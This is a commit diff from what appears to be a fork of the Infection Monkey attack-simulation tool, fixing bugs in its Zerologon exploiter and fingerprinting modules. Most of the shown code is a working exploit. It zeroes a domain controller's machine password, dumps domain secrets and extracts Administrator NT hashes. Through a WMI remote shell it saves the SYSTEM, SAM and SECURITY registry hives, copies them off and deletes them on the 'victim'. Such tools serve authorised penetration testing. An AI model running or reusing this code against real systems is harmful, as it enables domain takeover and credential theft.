forked from p15670423/monkey
Changes from manual testing
This commit is contained in:
parent
1cf07eff89
commit
b57605b58d
|
@ -45,6 +45,7 @@ _new_stdout = None
|
|||
|
||||
|
||||
def _set_stdout_to_in_memory_text_stream():
|
||||
global _orig_stdout, _new_stdout
|
||||
# set stdout to in-memory text stream, to capture info that would otherwise be printed
|
||||
_orig_stdout = sys.stdout
|
||||
_new_stdout = io.StringIO()
|
||||
|
@ -53,6 +54,7 @@ def _set_stdout_to_in_memory_text_stream():
|
|||
|
||||
def _unset_stdout_and_return_captured():
|
||||
# set stdout to original and return captured output
|
||||
global _orig_stdout, _new_stdout
|
||||
sys.stdout = _orig_stdout
|
||||
_new_stdout.seek(0)
|
||||
return _new_stdout.read()
|
||||
|
@ -72,8 +74,8 @@ class ZerologonExploiter(HostExploiter):
|
|||
'exec_method': 'smbexec',
|
||||
'hashes': None,
|
||||
'history': False,
|
||||
'is_remote' True,
|
||||
'just_dc': True,
|
||||
'is_remote': True,
|
||||
'just_dc': True, # becomes False in a copy in get_original_pwd_nthash()
|
||||
'just_dc_ntlm': False,
|
||||
'just_dc_user': None,
|
||||
'k': False,
|
||||
|
@ -100,7 +102,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
self.zerologon_finger = ZerologonFinger()
|
||||
|
||||
def _exploit_host(self):
|
||||
DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details()
|
||||
DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details(self.host)
|
||||
|
||||
if self.is_exploitable():
|
||||
LOG.info("Target vulnerable, changing account password to empty string.")
|
||||
|
@ -211,9 +213,9 @@ class ZerologonExploiter(HostExploiter):
|
|||
options['target_ip'] = DC_IP
|
||||
options['dc_ip'] = DC_IP
|
||||
|
||||
dumped_secrets = self.get_dumped_secrets(options=options
|
||||
dumped_secrets = self.get_dumped_secrets(options=options,
|
||||
remote_name=DC_IP,
|
||||
username=DC_NAME)
|
||||
username=f"{DC_NAME}$")
|
||||
for secret in dumped_secrets:
|
||||
if 'Administrator' in secret:
|
||||
hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::"
|
||||
|
@ -227,6 +229,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
for name in ['system', 'sam', 'security']:
|
||||
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
||||
options['dc_ip'] = DC_IP
|
||||
options['just_dc'] = False
|
||||
|
||||
dumped_secrets = self.get_dumped_secrets(options=options,
|
||||
remote_name='LOCAL')
|
||||
|
@ -253,17 +256,17 @@ class ZerologonExploiter(HostExploiter):
|
|||
_set_stdout_to_in_memory_text_stream()
|
||||
|
||||
# Save HKLM keys on victim.
|
||||
shell.onecmd('reg save HKLM\SYSTEM system.save && ' +
|
||||
'reg save HKLM\SAM sam.save && ' +
|
||||
'reg save HKLM\SECURITY security.save')
|
||||
remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
|
||||
'reg save HKLM\\SAM sam.save && ' +
|
||||
'reg save HKLM\\SECURITY security.save')
|
||||
|
||||
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
|
||||
shell.onecmd('get system.save')
|
||||
shell.onecmd('get sam.save')
|
||||
shell.onecmd('get security.save')
|
||||
remote_shell.onecmd('get system.save')
|
||||
remote_shell.onecmd('get sam.save')
|
||||
remote_shell.onecmd('get security.save')
|
||||
|
||||
# Delete saved keys on victim.
|
||||
shell.onecmd('del /f system.save sam.save security.save')
|
||||
remote_shell.onecmd('del /f system.save sam.save security.save')
|
||||
|
||||
info = _unset_stdout_and_return_captured()
|
||||
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||
|
@ -294,7 +297,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
# It worked!
|
||||
assert server_auth['ErrorCode'] == 0
|
||||
server_auth.dump()
|
||||
# server_auth.dump()
|
||||
session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge,
|
||||
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
|
||||
|
||||
|
@ -312,10 +315,10 @@ class ZerologonExploiter(HostExploiter):
|
|||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||
request['ComputerName'] = DC_NAME + '\x00'
|
||||
request["Authenticator"] = authenticator
|
||||
pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), sessionKey)
|
||||
pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key)
|
||||
request["UasNewPassword"] = pwd_data
|
||||
resp = rpc_con.request(request)
|
||||
resp.dump()
|
||||
# resp.dump()
|
||||
|
||||
except Exception as e:
|
||||
LOG.info(f"Unexpected error: {e}")
|
||||
|
@ -554,18 +557,16 @@ class DumpSecrets:
|
|||
class Wmiexec:
|
||||
OUTPUT_FILENAME = '__' + str(time.time())
|
||||
|
||||
def __init__(self, ip, username, hashes, password='', domain='', share=None, noOutput=False):
|
||||
def __init__(self, ip, username, hashes, password='', domain='', share='ADMIN$'):
|
||||
self.__ip = ip
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
self.__share = share
|
||||
self.__noOutput = noOutput
|
||||
self.shell = None
|
||||
|
||||
def run(self):
|
||||
if self.__noOutput is False:
|
||||
smbConnection = SMBConnection(self.__ip, self.__ip)
|
||||
smbConnection.login(user=self.__username,
|
||||
password=self.__password,
|
||||
|
@ -589,7 +590,7 @@ class Wmiexec:
|
|||
|
||||
win32Process, _ = iWbemServices.GetObject('Win32_Process')
|
||||
|
||||
self.shell = RemoteShell(self.__share, win32Process, smbConnection, OUTPUT_FILENAME)
|
||||
self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.OUTPUT_FILENAME)
|
||||
return self.shell
|
||||
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
|
@ -612,7 +613,7 @@ class RemoteShell(cmd.Cmd):
|
|||
self.__win32Process = win32Process
|
||||
self.__transferClient = smbConnection
|
||||
self.__pwd = str('C:\\')
|
||||
self.__noOutput = True
|
||||
self.__noOutput = False
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
if self.__transferClient is not None:
|
||||
|
|
|
@ -22,7 +22,7 @@ class ZerologonFinger(HostFinger):
|
|||
Checks if the Windows Server is vulnerable to Zerologon.
|
||||
"""
|
||||
|
||||
DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details()
|
||||
DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details(host)
|
||||
|
||||
if DC_NAME: # if it is a Windows DC
|
||||
# Keep authenticating until successful.
|
||||
|
@ -55,8 +55,8 @@ class ZerologonFinger(HostFinger):
|
|||
LOG.info('Error encountered; most likely not a Windows Domain Controller.')
|
||||
return False
|
||||
|
||||
def get_dc_details(self):
|
||||
DC_IP = self.host.ip_addr
|
||||
def get_dc_details(self, host):
|
||||
DC_IP = host.ip_addr
|
||||
DC_NAME = self.get_dc_name(DC_IP)
|
||||
DC_HANDLE = '\\\\' + DC_NAME
|
||||
return DC_IP, DC_NAME, DC_HANDLE
|
||||
|
|
Loading…
Reference in New Issue